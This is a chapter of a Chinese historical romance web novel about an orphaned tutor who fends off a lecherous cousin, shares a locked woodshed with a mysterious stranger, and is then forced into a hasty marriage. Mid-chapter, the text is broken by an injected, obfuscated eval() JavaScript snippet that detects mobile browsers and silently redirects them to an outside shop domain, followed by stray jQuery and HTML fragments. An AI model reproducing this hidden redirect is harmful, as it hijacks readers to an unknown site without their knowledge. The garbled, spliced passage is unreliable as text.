“每一次上课姐儿都乐的停不下来,这样下去能学多少东西?”
“要我看,你以后帮姐儿练字就行了!”
乔夫人的训斥声似乎还在她的耳边嗡嗡不绝。她在姨父母家做了两个月塾师,挨骂的次数比赚的还多。
傍晚,沈关音坐在耳房里翻看父亲留下的那本笔记。青色封皮,已经卷起毛边。父亲的笔迹她还认得,端正、刚劲。她翻过一页页泛黄的纸页,里面大多是她成长的琐事:几岁开口说话、哪一年生了大病、母亲生辰最爱的花。偶尔夹着几行读书时的批注。
翻到最后一页时,她的手忽然停了下来。
这一页的字迹与前面截然不同。笔划略潦草,像是匆忙写下的。只有短短一行字:
“戊子年,沧州东关十里铺大火,仅存者六人,故?……”
“故”字后面便断了,只留下一个没写完的偏旁。或者,有可能是“厂”字?
美人平眉微蹙,她来回看了几遍,把后面空白的纸都翻过了,也无法解释这莫名其妙的一句话。她的父亲曾在刑部任职多年,经手的卷宗不知凡几。唯独这个事情,为何值得他单独记下来呢?
左不过也琢磨不出什么来,她便合上笔记,看了眼报晓刻漏。窗外暮色渐沉,时候不早了。
她伸了个懒腰,准备到院子里走走,再去膳堂用膳。
开门便见脚下躺着一个帖子,打开来看,是善柔歪歪扭扭的字迹,劝她莫要伤心,还送了一串茉莉花,闻一闻,还有浓郁的香气。
沈关音嘴角止不住地往上扬,她将信认真保存了起来,将花串儿戴到手腕上,才出了门。
踏着鹅卵石铺成的小路走到拐角处,肩膀忽地一沉。
“谁——”沈关音失声大喊,旋即被一只腻腻的手捂住嘴。
“欸——妹妹且看,是我啊。姑娘最近怎么老躲着我呢?”
是孙承礼,穿着精贵锻料做的衣袍,外面罩着蟹壳青散花披风,一副油滑做派,书读得也不好,令人讨厌。一副眼睛贼溜溜地转,脸都快贴上她的了。
沈关音支起胳膊,不由分说往他身上狠狠撞去。
“哎呀!”那男子吃痛。一双贼气的眼睛燃起怒意,“你别敬酒不吃罚酒!你乖乖从了我,等那两个老不死的走了,我就给你个主母当当,但你若是不从……”
沈关音啐了一口,“你喝完酒找不着北了?猪狗不如的东西,还诅咒爹娘!”
孙承礼狡黠地转转眼睛,将手伸了过来,捏住她的下巴,拿出一副油腔滑调:“哎,生气干嘛,姑娘眼睛真好看,像桃花一样——”
孙承礼早就看腻了讨巧卖乖的歌女和舞姬,唯独对关音这种淡极生艳的美人情有独钟,怎么看都看不够。她个头不算高,却有一副清冽出尘的面容。在成年男子面前,那股清冷的仙气儿便被身量冲淡了几分,倒是让孙承礼生出几分异想天开的心思,他觉得一伸手,就能把她从云端拉下来。
沈关音上来就是一巴掌。
火辣辣的嘴巴子抽醒了他的美梦。男子怒了,扬起胳膊,作势要打她,不成想沈关音眼疾手快,已经跑出好几步。两人在汀步和九曲桥你追我赶,沈关音跑在前面,余光忽然捕捉到一个身影。
湖对岸站着一个男人。她没看清他的面目,却感觉那到目光跟钉子一般,紧紧地落在她的身上。
“啊!”
不过一晃,她被孙承礼揪住了衣领。情急之下,她顾不上其他,抬手将他猛地一推。力道不大,好在猝不及防,孙承礼刚踩上汀步,被她推得脚下不稳,整个身子直直超后栽去。
一声惊呼。他在水里剧烈扑腾着,试图大声呼救。
沈关音顿时愣住,僵在池边。面前是开阔的水面,青黛色的,深不见底。
园林池水深度通常低于一般男子身长,但孙承礼不会踩水,掉进去了还慌,越扑腾越沉,脚触了湖底,灌了一嘴湖水。
青色的涟漪搅碎了她的倒影,她转头望去,对岸空荡荡的。
那男人已经不见了。
是夜,沈关音被赵嬷嬷请到柴房。说得好听叫请,实则是拖过去的。
沈关音像个顽固的孩子,身子弓成虾球,被赵嬷嬷连拖带拽,在地上平移:“嬷嬷!你莫要欺人,我做错了什么?”
赵嬷嬷脸色铁青,气喘吁吁地说道:“老爷和夫人让你反思一下!自己今日做了什么,你最清楚!”
沈关音憋红了脸:“本姑娘什么都没干!”
柴房门“砰”地一声,被赵嬷嬷无情关上。沈关音不甘心地抓着窗户棱,对着嬷嬷的背影大喊:“公子骂姨父姨母是老不死的!嬷嬷记得和他们说一声!”
她见赵嬷嬷的身影僵了一下,不禁朗声发笑。这小老太太,劲儿怎么跟牛一样大。
一转身,却被一个软软的东西绊了一个趔趄——
她惊呼:“啊——!哪来的人!”
一个男人正蜷腿坐在一张蒲团上,倚着墙边一动不动。月色下,他身穿短打小帽,面色苍白,容貌极为俊劭。长眉若笔锋过目,凤目圆而不狭,倒是显得英气逼人。被沈关音撞了一下,他宛然毫无知觉,只将腿拢了拢,一动不动地盯着地面。
沈关音干巴巴地说道,“你没事吧?”
那人还没反应。
沈关音伸出一只手,在他眼前挥了几下。
男人突然张口说话,口吻不算客气,倒也得体:“走开。”
沈关音的脸颊漾出一对儿酒窝:“你会说话呀。”
男人瞟了她一眼,神情冷若冰霜。
她跨过男人,走到矮榻坐下,说道:“你为什么被关在这里?”
“你是哪里人?姓甚名谁?我好像在哪里见过你。”
“你怎么不说话?”
沈关音撑着下巴,黛眉微蹙,但就是想不起来在哪见过他。
“你能不能安静一会儿?”男人又一次开口,这次真的带了些不耐烦。
沈关音跟没听见似的,自顾自地说道:“我是身不由己,不得已才投靠亲戚。今日府里的公子,欺我不成,反被我踹到水里。说到底我有什么错?可寄人篱下,总要平白无故吃些苦头。青州哪里都好,就这事不好。”
男人看了看她,神色似乎带着一丝探究:“你父母呢?”
沈关音顿了顿,说道:“我父母都去世了。还有……”其实她并不是没有想依靠的,只是那人靠不住。
“还有什么?”男人问道。
沈关音放下撑着下巴颏的手,拍了一下腿,说道:“你怎么老打听我的事?我问了你好几个问题,你都没回答一个,这不公平!”
男人闭上眼睛,半晌才说道:“我是猎户。”
“猎户?”沈关音狐疑地看着他,“你细皮嫩肉的,还猎户?而且,你一个猎户为何跑到这里?”
“我受伤了。”
沈关音惊奇,“哪里受伤?我帮你看看!”
她作势起身,跪在男人旁边的空蒲团上,试图隔着衣物观察他的伤势。
男人忽然像个受惊的兔子,眼睛瞪得老大:“放肆!我让你过来了吗?”
他反射般跳起,却不想胳膊撞到一旁的柴禾上,疼得直喘气。
“放肆?”沈关音瞠目结舌,“你口气怎么这么大?”
沈关音父亲为官多年,母亲也是诰命,她随着父母见过许多同僚子女,还未见过谁像他一般装腔作势的。
男人不过狼狈了一瞬,又恢复了端坐姿态:“怎么这般没礼数!”
这人还有功夫教训自己?沈关音说道:“你看看这是什么破地方?还礼数呢!要不要我扶你去榻上?”
男人乜了一眼床铺:“这么破的床榻我不坐。”
沈关音道:“今晚说不定要在这里过夜……”说着,她有些警惕地看了男人一眼,往远处挪了挪。跟一个陌生男子共处一室,怎么符合礼数呢?重点是不安全!
男人看在眼里,顿时哭笑不得。这姑娘前一瞬还关心他呢,脸变得真快。
他想了想,说道:“你可以出去,回你自己的房间过夜,明早再回来。”
门都锁上了,只有窗户棱能看见外面,睁眼说瞎话吗?沈关音更嫌弃了:“郎君可是有什么遁地之术?或是缩骨功?”
他笑了:“你不会撬锁?”
沈关音阴恻恻地看着他。
“我教你。头上的簪子借我用用。”他有些艰难地伸出手。
沈关音犹豫了一下,最后将盘龙髻上的银错金簪子拿了下来。虽然不算她最好的首饰,但还是有点肉疼。
“想出去就快点。”男人丝滑接了过去,就跟拿钥匙似的,把簪子头插进木门的缝隙里,贴着门闩缓缓推动。只听“咔”的一声,门闩滑开半寸。他停了一息,确认外面无人,才将房门打开。
“走吧。”他做了个邀请的动作。
沈关音鬼头鬼脑地看了外边两眼,说道:“你既然能窍门,为什么不出去?”
男人不以为意:“因为我不想出去,我不希望有太多人认识我。”
沈关音小声说道:“谢谢你,陌生人。”
她一脚踏出门,背后幽幽传来一句:“别忘了,你明早还得回来。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839672|211593||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
沈关音转过头,问道:“你还会在这里吗?”
“如果你愿意的话,我就在。”
***
第二日,大少爷突然抱恙不出了。
据见过大少爷的郎中说,少爷脸上突然冒出密密麻麻的红点。
好巧不巧,孙承礼矢口否认自己所作所为,并立下“若属实则长疮”的毒誓。
乔夫人如临大敌,赶紧安排礼佛、送瘟神、拜各路神仙。然而病情不仅没有好转,反而越来越重,甚至蔓延到身上,脖子、四肢全是。
下人们起初不甚在意,怪就怪在乔夫人三番五次下严令,不准府里任何人议论大少爷的病情,为此还扣了一个碎嘴的小厮的月钱。这下子反倒激起了群众的好奇心,天下没有不透风的墙,一些流言还是悄悄地流传开来。
“哼!这个逆子!白养他这么多年,”孙大郎的山羊胡这次翘上了天:“还有,你那亲戚也留不得了!决不能让这种丑事传出去,要不然我孙家的脸都得丢尽。得给她嫁了,越远越好!”
乔夫人反倒犹豫起来:“这怎么行得通?沈关音是我娘亲戚家的人,她无父无母,再怎么样,也不能随便打发了去。万一外头有个三长两短,说咱们家连个孤女都容不下,你我的脸面也保不住啊!依我看,先把关音带去庄子待几天,避避风头。再找找青州府有没有未婚配的良家子,咱们大方些,为他们多置办些聘礼和嫁妆,善待亲戚的名声有了,也不怕别人嚼舌根。咱们毕竟没在物质上亏待过她,她想挑错都不占理!”
“嗯……你这个意思倒不错,”谢大郎眉头紧皱,“正好甘管事来找我,说有个合适的人选,就是前不久带回来一个远房外甥,人长得还可以,就是听说有点呆傻……不过,只要没大病,那便是好事!”
“自家人并非不可……如此一来,也全了亲戚的情分。哥儿更是惦记不了她了。”
“就这么办了,今天就办。”
***
沈关音第二日早回去时,屋里已经空无一人。被褥叠得整整齐齐,晨风从窗户的缝隙里钻进来,将桌上的纸条吹起一角。她走过去,将那张字条拿了起来。
那个男人详细地将如何撬门的方法告诉了她。甚至连从何处角度下手,何处用力都标得一清二楚。
沈关音站在空荡荡的屋里,沉默了好一会儿。
他人还怪好的咧!她有点想笑,但是心里又有一种说不出来的失落感。
两日后,赵嬷嬷来了。老太今日脸色缓和了些,说道:“出来吧,夫人让我代为传话。”
刚出圈禁,听此消息,如遭雷劈。
她要嫁人?
无三书六礼,媒妁之言,甚至不是门当户对。老爷和夫人怎能如此对她?
定是孙承礼联合父母在她背后煽风点火,推波助澜!
“怎么这样快便定下了婚事?”
赵嬷嬷没好气:“你倒不如谢谢有人肯收你!”
赵嬷嬷走后,她怒火中烧,一拳砸落,将桌子捶得一震。小小的桌子上还有锦帕、错金戒指、丁香耳环,都是乔夫人遣人送来的。并不是什么顶好的首饰,权当打发她的。
突然响起一阵敲门声:“沈姑娘,是我。”
“我给你挑了点吃的,”蓝嬷嬷挤进屋里,“别因这事伤了身体。”
“嬷嬷,事到如今该怎么办呢?”沈关音拿起一根镀金银首饰,自暴自弃地将它掼到床上:“嬷嬷,我不想嫁人……我怎么能这么随便嫁人呢?”
沈关音越说越哽咽:“我听说那些人说,那个外甥是个呆子。”
一个满脸痴笑、涎水直流、衣冠不整的形象忽然浮现在她的脑海中。
蓝嬷嬷帮她打开食盒,白米粥,炒青菜,烤猪肉,芝麻糖饼,“沈姑娘,先别胡思乱想,把饭吃了。我去看那人了。人吧,长得不吓人,五官挺齐整的。也不闹人,就是……不怎么认人,你就当他是那天尊仙君身边的童子,心里就能清净点了。”
沈关音眼泪汪汪:“不闹人,不认人?”五官齐整,怎么个齐整法?怕不是跟奔波儿灞比。
蓝嬷嬷道:“姑娘,留得青山在,不怕没柴烧。嬷嬷知道你受委屈了,但眼下,还是保重自己最要紧。老爷和夫人不可能面面俱到,咱们府里上下也不是铁板一块。你还年轻,多攒几个钱,将来总有机会出去。”
沈关音作势行礼:“多谢嬷嬷,今日之恩,关音没齿难忘!”
“不必,不必!”蓝嬷嬷忙将人搀起,“春荷和寒露已经帮你把嫁衣都备好了,等你吃完了,我就给你梳妆,不多时就要出城了。”